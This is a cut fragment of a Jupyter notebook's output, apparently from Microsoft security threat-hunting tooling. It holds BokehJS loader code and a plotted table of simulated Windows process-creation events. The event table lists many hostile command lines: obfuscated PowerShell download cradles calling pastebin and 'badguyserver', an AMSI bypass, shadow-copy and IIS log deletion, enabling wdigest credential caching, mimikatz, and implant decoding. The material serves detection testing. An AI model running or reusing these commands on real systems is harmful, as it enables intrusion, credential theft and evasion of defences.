Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", "\n", " if (server_id !== undefined) {\n", " // Clean up Bokeh references\n", " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", " cell.notebook.kernel.execute(cmd, {\n", " iopub: {\n", " output: function(msg) {\n", " var element_id = msg.content.text.trim();\n", " Bokeh.index[element_id].model.document.clear();\n", " delete Bokeh.index[element_id];\n", " }\n", " }\n", " });\n", " // Destroy server and session\n", " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", " cell.notebook.kernel.execute(cmd);\n", " }\n", " }\n", "\n", " /**\n", " * Handle when a new output is added\n", " */\n", " function handleAddOutput(event, handle) {\n", " var output_area = handle.output_area;\n", " var output = handle.output;\n", "\n", " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", " return\n", " }\n", "\n", " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", "\n", " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", " // store reference to embed id on output_area\n", " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", " }\n", " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", " var bk_div = document.createElement(\"div\");\n", " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", " var script_attrs = bk_div.children[0].attributes;\n", " for (var i = 0; i < script_attrs.length; i++) {\n", " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", " }\n", " // store reference to server id on output_area\n", " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", " }\n", " }\n", "\n", " function register_renderer(events, OutputArea) {\n", "\n", " function append_mime(data, metadata, element) {\n", " // create a DOM node to render to\n", " var toinsert = this.create_output_subarea(\n", " metadata,\n", " CLASS_NAME,\n", " EXEC_MIME_TYPE\n", " );\n", " this.keyboard_manager.register_events(toinsert);\n", " // Render to node\n", " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", " render(props, toinsert[toinsert.length - 1]);\n", " element.append(toinsert);\n", " return toinsert\n", " }\n", "\n", " /* Handle when an output is cleared or removed */\n", " events.on('clear_output.CodeCell', handleClearOutput);\n", " events.on('delete.Cell', handleClearOutput);\n", "\n", " /* Handle when a new output is added */\n", " events.on('output_added.OutputArea', handleAddOutput);\n", "\n", " /**\n", " * Register the mime type and append_mime function with output_area\n", " */\n", " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", " /* Is output safe? */\n", " safe: true,\n", " /* Index of renderer in `output_area.display_order` */\n", " index: 0\n", " });\n", " }\n", "\n", " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", " if (root.Jupyter !== undefined) {\n", " var events = require('base/js/events');\n", " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", "\n", " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", " register_renderer(events, OutputArea);\n", " }\n", " }\n", "\n", " \n", " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", " root._bokeh_timeout = Date.now() + 5000;\n", " root._bokeh_failed_load = false;\n", " }\n", "\n", " var NB_LOAD_WARNING = {'data': {'text/html':\n", " \"
\\n\"+\n", " \"

\\n\"+\n", " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", " \"

\\n\"+\n", " \"
    \\n\"+\n", " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n", " \"
  • use INLINE resources instead, as so:
  • \\n\"+\n", " \"
\\n\"+\n", " \"\\n\"+\n", " \"from bokeh.resources import INLINE\\n\"+\n", " \"output_notebook(resources=INLINE)\\n\"+\n", " \"\\n\"+\n", " \"
\"}};\n", "\n", " function display_loaded() {\n", " var el = document.getElementById(\"77c90ec0-22c4-47e2-81a2-45b31d09cee9\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", " if (root.Bokeh !== undefined) {\n", " if (el != null) {\n", " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", " }\n", " } else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(display_loaded, 100)\n", " }\n", " }\n", "\n", "\n", " function run_callbacks() {\n", " try {\n", " root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n", " }\n", " finally {\n", " delete root._bokeh_onload_callbacks\n", " }\n", " console.info(\"Bokeh: all callbacks have finished\");\n", " }\n", "\n", " function load_libs(js_urls, callback) {\n", " root._bokeh_onload_callbacks.push(callback);\n", " if (root._bokeh_is_loading > 0) {\n", " console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", " return null;\n", " }\n", " if (js_urls == null || js_urls.length === 0) {\n", " run_callbacks();\n", " return null;\n", " }\n", " console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", " root._bokeh_is_loading = js_urls.length;\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", " var s = document.createElement('script');\n", " s.src = url;\n", " s.async = false;\n", " s.onreadystatechange = s.onload = function() {\n", " root._bokeh_is_loading--;\n", " if (root._bokeh_is_loading === 0) {\n", " console.log(\"Bokeh: all BokehJS libraries loaded\");\n", " run_callbacks()\n", " }\n", " };\n", " s.onerror = function() {\n", " console.warn(\"failed to load library \" + url);\n", " };\n", " console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", " document.getElementsByTagName(\"head\")[0].appendChild(s);\n", " }\n", " };var element = document.getElementById(\"77c90ec0-22c4-47e2-81a2-45b31d09cee9\");\n", " if (element == null) {\n", " console.log(\"Bokeh: ERROR: autoload.js configured with elementid '77c90ec0-22c4-47e2-81a2-45b31d09cee9' but no matching script tag was found. \")\n", " return false;\n", " }\n", "\n", " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-0.12.16.min.js\"];\n", "\n", " var inline_js = [\n", " function(Bokeh) {\n", " Bokeh.set_log_level(\"info\");\n", " },\n", " \n", " function(Bokeh) {\n", " \n", " },\n", " function(Bokeh) {\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n", " }\n", " ];\n", "\n", " function run_inline_js() {\n", " \n", " if ((root.Bokeh !== undefined) || (force === true)) {\n", " for (var i = 0; i < inline_js.length; i++) {\n", " inline_js[i].call(root, root.Bokeh);\n", " }if (force === true) {\n", " display_loaded();\n", " }} else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(run_inline_js, 100);\n", " } else if (!root._bokeh_failed_load) {\n", " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", " var cell = $(document.getElementById(\"77c90ec0-22c4-47e2-81a2-45b31d09cee9\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", " }\n", "\n", " if (root._bokeh_is_loading === 0) {\n", " console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", " run_inline_js();\n", " } else {\n", " load_libs(js_urls, function() {\n", " console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n", " run_inline_js();\n", " });\n", " }\n", "}(window));" ], "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n \"
  • use INLINE resources instead, as so:
  • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"77c90ec0-22c4-47e2-81a2-45b31d09cee9\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n }\n finally {\n delete root._bokeh_onload_callbacks\n }\n console.info(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(js_urls, callback) {\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = js_urls.length;\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var s = document.createElement('script');\n s.src = url;\n s.async = false;\n s.onreadystatechange = s.onload = function() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.log(\"Bokeh: all BokehJS libraries loaded\");\n run_callbacks()\n }\n };\n s.onerror = function() {\n console.warn(\"failed to load library \" + url);\n };\n console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.getElementsByTagName(\"head\")[0].appendChild(s);\n }\n };var element = document.getElementById(\"77c90ec0-22c4-47e2-81a2-45b31d09cee9\");\n if (element == null) {\n console.log(\"Bokeh: ERROR: autoload.js configured with elementid '77c90ec0-22c4-47e2-81a2-45b31d09cee9' but no matching script tag was found. \")\n return false;\n }\n\n var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-0.12.16.min.js\"];\n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n \n function(Bokeh) {\n \n },\n function(Bokeh) {\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n }\n ];\n\n function run_inline_js() {\n \n if ((root.Bokeh !== undefined) || (force === true)) {\n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"77c90ec0-22c4-47e2-81a2-45b31d09cee9\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(js_urls, function() {\n console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" }, { "name": "stdout", "output_type": "stream", "text": [ "Alert start time = 2019-01-15 05:15:15\n" ] }, { "data": { "text/html": [ "\n", "
\n", "
\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "(function(root) {\n", " function embed_document(root) {\n", " \n", " var docs_json = {\"ab3cf291-be07-41d6-a90d-5eb4e3b96e03\":{\"roots\":{\"references\":[{\"attributes\":{},\"id\":\"f16d8cb6-d3db-4015-ba96-9c0e67c8efb1\",\"type\":\"LinearScale\"},{\"attributes\":{\"source\":{\"id\":\"a4c42fdf-e9d0-402d-a36e-097d6ca6faf1\",\"type\":\"ColumnDataSource\"}},\"id\":\"e4dc41e5-2a93-45c9-9c2a-5e9d591fe3ea\",\"type\":\"CDSView\"},{\"attributes\":{\"callback\":null,\"data\":{\"CommandLine\":[\".\\\\ftp -s:C:\\\\RECYCLER\\\\xxppyy.exe\",\".\\\\reg not /domain:everything that /sid:shines is /krbtgt:golden !\",\"cmd /c \\\"systeminfo && systeminfo\\\"\",\".\\\\rundll32 /C 12345.exe\",\".\\\\rundll32 /C c:\\\\users\\\\MSTICAdmin\\\\12345.exe\",\".\\\\rundll32 /C 1234.exe\",\".\\\\rundll32 /C c:\\\\users\\\\MSTICAdmin\\\\1234.exe\",\".\\\\rundll32 /C reg.exe\",\".\\\\reg.exe add \\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run /v abadvalue\",\"c:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe C:\\\\Users\\\\MSTICAdmin\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-01DD7.tmp\\\\tsetup.1.0.14.tmp\\\" /SL5=\\\"$250276,19992586,423424,C:\\\\Users\\\\MSTICAdmin\\\\Downloads\\\\tsetup.1.0.14.exe\",\".\\\\rundll32.exe /C mshtml,RunHTMLApplication javascript:alert(tada!)\",\".\\\\netsh.exe \\\"in (*.exe) do start # artificial commandline solely for purposes of triggering test\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Set-ExecutionPolicy RemoteSigned&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Enable-WSManCredSSP =2013Role Server -force&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell winrm set winrm/config/service/Auth @{Kerberos=003D\\\"true\\\"}&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\ProgramData\\\"© \\\\\\\\[REDACTED]\\\\c$\\\\users\\\\[REDACTED]\\\\Documents\\\\\\\"Password Change Dates.docx\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\system32\\\\inetsrv\\\\appcmd set config \\\"Default Web Site/\\\" /section:httplogging /dontLog:true&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&del C:\\\\inetpub\\\\logs\\\\logFiles\\\\W3SVC1\\\\*.log /q&echo [S]&cd&echo [E]\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\perfc.dat \",\"c:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe \",\"vssadmin delete shadows /all /quiet\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"cmd /c echo Any questions about the commands executed here then please contact one of\",\"cmd /c echo timb@microsoft.com; romead@microsoft.com; ianhelle@microsoft.com; marcook@microsoft.com; dotanp@microsoft.com; liengli@microsoft.com\",\"net user adm1nistrator Bob_testing /add\",\"net share TestShare=c:\\\\testshare /Grant:Users,Read\",\"net use q: \\\\\\\\MSTICAlertsWin1\\\\TestShare Bob_testing /User:adm1nistrator\",\"net use q: /delete\",\"net share TestShare /delete\",\"net user adm1nistrator /delete\",\".\\\\regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll\",\".\\\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4\",\"cmd /c \\\"echo TVqQAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> delme.b64\\\"\",\"cmd /c \\\"echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> delme.b64\\\"\",\".\\\\powershell.exe -c \\\"$a = 'Download'+'String'+\\\"(('ht'+'tp://paste'+ 'bin/'+'raw/'+'pqCwEm17'))\\\";$b = '(New-Object' + ' Net.WebClient)';'$b.$a' | Out-File .\\\\evil.ps1;\\\"\",\".\\\\powershell -c {IEX (New-Object Net.WebClient).DownloadString(('ht'+(\\\"{2}{0}{1}\\\"-f ':/','/paste','tp')+'bin/'+'raw/'+(\\\"{1}{0}\\\"-f'Em17','pqCw')));}\",\"cmd /c \\\".\\\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy BYpa^sS i^mPOr^T-^M^oDuLE biTsTr^ANSFe^R;^S^tar^t-bITSTRanS^fER -^SOURCE^ 'http://somedomain/best-kitten-names-1.jpg' ^-d^EStIN^At^IOn ^'C:\\\\Users\\\\$env:UserName\\\\AppData\\\\Local\\\\Temp\\\\kittens1.jpg';\\\"\",\"cmd /c \\\".\\\\n^e^t u^se^r\\\"\",\".\\\\powershell -enc JAB0ACAAPQAgACcAZABpAHIAJwA7AA0ACgAmACAAKAAnAEkAbgB2AG8AawBlACcAKwAnAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAnACkAIAAkAHQA\",\"cmd /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >> blah.ps1\\\"\",\"cmd /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >> blah.ps1\\\"\",\"certutil -decode delme.b64 implant.exe\",\"implant.exe k111\",\"implant.exe 81ed03caf6901e444c72ac67d192fb9c\",\"implant.exe -b -t -m\",\"cmd /c \\\"echo Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\\\" \",\".\\\\powershell -Noninteractive -Noprofile -Command \\\"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\\\"\",\".\\\\powershell Invoke-Shellcode.ps1\",\".\\\\powershell Invoke-ReverseDnsLookup.ps1\",\".\\\\powershell -command \\\"(New-Object Net.WebClient).DownloadString(('ht'+'tp://pasteb' + 'bin/'+'raw/'+'pqCwEm17'));\\\"\",\"net localgroup Administrators\",\"whoami\",\"hostname\",\"netstat -an\",\"net user Bob1 /domain\",\"net user BobX /domain\",\"net group \\\"Domain Admins\\\" /domain\",\".\\\\rUnDlL32 /C ShEll32Control_RanDLL.dll\",\".\\\\reg query add mscfile\\\\\\\\\\\\\\\\open\",\".\\\\reg add Image File Execution Options sethc.exe\",\".\\\\dubrute.exe\",\".\\\\nlbrute.exe\",\".\\\\reg add \\\"HKLM\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v \\\"fDenyTSConnections\\\" /t REG_DWORD /d 0x1 /f\",\".\\\\reg add \\\"HKLM\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v \\\"fDenyTSConnections\\\" /t REG_DWORD /d 0x0 /f\",\"net use v: \\\\\\\\tsclient\\\\c\",\"net v: /delete\",\"cmd /c C:\\\\Windows\\\\System32\\\\mshta.exe vbscript:CreateObject(\\\"Wscript.Shell\\\").Run(\\\".\\\\powershell.exe -c \\\"\\\"$x=$((gp HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion Certificate).Certificate);.\\\\powershell -E $y\\\"\\\"\\\",0,True)(window.close)\",\".\\\\netsh advfirewall firewall add rule name=RbtGskQ action=allow program=c:\\\\users\\\\Bob\\\\appdata\\\\Roaming\\\\RbtGskQ\\\\RbtGskQ.exe\",\".\\\\reg add HKLM\\\\KEY_LOCAL_MACHINE\\\\...securityproviders\\\\wdigest uselogoncredential /t 1\",\"c:\\\\Windows\\\\System32\\\\cmd.exe /c net user\",\"cmd /c c:\\\\Diagnostics\\\\UserTmp\\\\scrsave.scr\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\svchost.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\smss.exe \",\"c:\\\\Windows\\\\System32\\\\svchost.exe -k malicious\",\"cmd.exe /c echo createobject\\\"msxml2.xmlhttp\\\") \",\"ASC_Alerttest_662jfi039n.exe -foo\",\".\\\\powershell.exe -command [ref].assembly.gettype('http://system.management.automation.amsiutils').getfield('amsiinitfailed','nonpublic,static').setvalue($null,$true)\\\\\\\"\",\"netsh start capture=yes IPv4.Address=1.2.3.4 tracefile=C:\\\\\\\\Users\\\\\\\\user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\bzzzzzz.txt\",\".\\\\wuauclt.exe /C \\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\",\".\\\\lsass.exe /C \\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\",\"cmd /c \\\"powershell wscript.shell used to download a .gif\\\"\",\"cacls.exe c:\\\\windows\\\\system32\\\\wscript.exe /e /t /g everyone:f\",\"cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\system32\\\\inetsrv\\\\appcmd set config \\\"Default Web Site/\\\" /section:httplogging /dontLog:true&echo [S]&cd&echo [E]\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\2840.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\a_keygen.exe \",\"cmd /c echo \\\" SYSTEMINFO && SYSTEMINFO && DEL \\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\bittorrent.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe firewall set opmode mode=disable profile=all\",\"cmd /c echo rundll32.exe perfc.dat\",\"c:\\\\Diagnostics\\\\UserTmp\\\\ransomware.exe @ abc.com abc.wallet\",\"cmd /c echo /e:vbscript.encode /b\",\"pcalua.exe -a \\\\\\\\server\\\\payload.dll\",\"findstr /si password sysvol *.txt\",\"odbcconf.exe /S /A {REGSVR C:\\\\Users\\\\Administrator\\\\AppData\\\\Roaming\\\\{RANDOM}.txt\",\"odbcconf.exe /f my.rsp\\u00e1\\u00e1\",\"sqldumper.exe 464 0 0x0110:40\",\"mt.exe port\",\"mt.exe smb\",\"hd.exe -pslist\",\"hd.exe -enum\",\"netsh.exe PortOpenning\",\"certutil -urlcache -split -f http://127.0.0.1/ \",\".\\\\reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Svchost\\\\MyNastySvcHostConfig\\\"\",\".\\\\reg delete \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Svchost\\\\MyNastySvcHostConfig\\\"\",\"sc create MSTICTestService binPath=C:\\\\Users\\\\MSTICA~1\\\\AppData\\\\Local\\\\Temp\\\\hd.exe DisplayName=\\\"Test Service\\\"\",\"sc delete MSTICTestService\",\"cmd /c \\\"echo blahtest > \\\\\\\\.\\\\pipe\\\\blahtest\\\"\",\".\\\\reg.exe add \\\"hkcu\\\\console\\\" /v windowposition /t reg_dword /d 33554556 /f\",\"c:\\\\windows\\\\fonts\\\\csrss.exe\",\"c:\\\\windows\\\\fonts\\\\conhost.exe\",\".\\\\mimikatz.exe\",\".\\\\rundll32.exe /C c:\\\\windows\\\\fonts\\\\conhost.exe\",\".\\\\regsvr32 /u /s c:\\\\windows\\\\fonts\\\\csrss.exe\",\"tasklist\",\"cmd.exe /c c:\\\\Diagnostics\\\\WindowsSimulateDetections.bat c:\\\\Diagnostics\\\\UserTmp\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \"],\"EventID\":[4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688],\"NewProcessName\":[\"C:\\\\Diagnostics\\\\UserTmp\\\\ftp.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\perfc.dat\",\"C:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe\",\"C:\\\\Windows\\\\System32\\\\vssadmin.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\regsvr32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\suchost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\certutil.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\implant.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\implant.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\implant.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\whoami.exe\",\"C:\\\\Windows\